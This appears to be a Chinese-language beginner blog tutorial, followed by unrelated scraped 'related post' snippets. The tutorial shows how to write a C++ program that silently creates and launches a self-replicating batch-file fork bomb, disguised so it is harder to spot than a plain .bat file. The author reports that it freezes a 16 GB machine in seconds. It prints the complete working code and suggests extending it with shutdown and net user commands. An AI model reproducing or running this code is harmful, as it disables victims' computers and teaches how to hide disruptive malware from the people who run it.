相信大家都玩过这样的一个批处理代码吧

:1
start cmd
goto 1

把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹

但是,作为一个病毒,这个简单恶搞代码有着致命缺陷

1.可以直接改后缀轻松识破,很难掩藏

2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死

于是,我想了个简单方法来处理这两个问题

1.system函数

知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令

需要头文件stdlib.h

#include<bits/stdc++.h> // 其实万能头文件里包含了stdlib.h
#include<stdlib.h>//但是还是写一遍
using namespace std;
int main(){system("   ");
}

2.freopen

文件读写操作,可以用它生成一个out文件

freopen("11.out","w",stdout);

其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中

然后再输入代码

cout << "   ";

fclose关闭文件

fclose(stdout);

ren命令改变文件名

system("ren 11.out 11.bat");

然后,重点来了

2.核心

小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)

cout << ":1\nstart 11.bat\ngoto 1"

(\n:换行)

相比开头的小代码,看上去有点多次一举是吧?

但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己

本人实测,16gb的内存条几秒钟就可以卡掉

最后,上完整版代码

#include<bits/stdc++.h>
using namespace std;
int main(){freopen("11.out","w",stdout);cout << ":1 \n start 11.bat \n goto 1";fclose(stdout);system("ren 11.out 11.bat");system("start 11.bat");
}

学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述

后来我才知道可以直接文件读写进bat,但是不想改了

用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)相关推荐

  1. python写的篮球文字游戏_python制作一个简单的文字游戏——零基础学python 004

    前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...

  2. 如何写一个脚本语言_零基础小白如何学会写文案?文案写作技巧之一:如何写一个吸引读者的文案开头...

    我文笔不好怎样才能够写出优质的文案?很多人都有这个疑问,包括我自己在学习新媒体运营之前,这也是我最大的困惑.现在是内容为王的时代,你的文章质量决定了你的KPI. 后来我学习了文章的写作结构和技巧后,就 ...

  3. python制作一个简单的文字游戏——零基础学python 004

    前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...

  4. 如何写一个简单的病毒程序

    引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了.但是我现在学了入门才发现这门技术实际 上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无 ...

  5. java简单课程设计_!高分跪求帮忙写一个简单小程序的JAVA课程设计报告(内详!!)...

    展开全部 连连看java源代码 import javax.swing.*; import java.awt.*; import java.awt.event.*; public class lianl ...

  6. python可以做机器人吗_零基础如何用Python写一个简单的WeChat机器人?(内附代码)...

    (bing图片) python这两年热火朝天,依托其众多类库,基于python的应用层出不穷,也大大降低了非计算机专业人员的入门门槛,WeChat机器人自然不在话下!-- 聪明的瓦肯人 苦于有时候总是 ...

  7. c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

  8. 使用Qt写一个简单的五子棋单机小游戏

    使用Qt写一个简单的五子棋单机小游戏 刚学,不够专业请勿喷,有不对的地方还请指出,我渴望进步!现在贴出这个游戏我原创的所有代码.希望可以帮到有需要的人. 游戏界面: 因为后面添加了.wav的音频文件, ...

  9. 一个简单的c 游戏编程语言,编程达人 c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

最新文章

  1. python 类中定义类_Python中的动态类定义
  2. 概率分布函数的关系框架
  3. 笔记-信息系统安全管理-信息系统的安全属性
  4. JZOJ 5932. 【NOIP2018模拟10.27】情报中心
  5. ubuntu 18 mysql5.7_Ubuntu18.04 下 MySQL5.7 的安装
  6. like效率 regexp_Oracle 中like效率 正则表达式 浅析
  7. java中date加1s_是否有一个java库将描述时间度量(例如“1d 1m 1s”)的字符串转换为毫秒?...
  8. SNF开发平台WinForm-平板拍照及扫描二维码功能
  9. CentOS7 安装 scala 2.11.1
  10. python zip dict函数
  11. 使用 ReSharper对.NET解决方案进行全面重构
  12. eclipse-阶段三-Server被关闭后消失,如何打开
  13. 从小米摄像头事件,到物联网安全的“三重门”
  14. java 服务器程序部署环境搭建
  15. 我是凡尘最美的莲花-记再读仓央嘉措
  16. 同花顺l2接口使用体验感怎么样?
  17. 证件照的要求是什么?
  18. ecshop 简单修改 可做淘宝客网站
  19. Kindle 2 国际版
  20. 为什么会有剩男剩女?

热门文章

  1. Python之input()函数用法,如何接收单行或多行的输入多个参数
  2. 建设网站:购买域名和主机的原则你知道吗?
  3. ISO SAE 21434-2021 要求、建议、允许(RQ、RC、PM)整理
  4. 拼一个自己的操作系统(SnailOS 0.03的实现)
  5. jquery实现图片上传预览
  6. mysql exists 效率_Mysql之exists和inner join效率问题(1)
  7. 淘宝联盟 淘宝客私域用户管理 百川SDK 接入简介
  8. Jenkins未授权访问
  9. ins无法发帖_必看的Instagram发帖技巧
  10. 学习Python全套代码【超详细】Python入门、核心语法、数据结构、Python进阶【致那个想学好Python的你】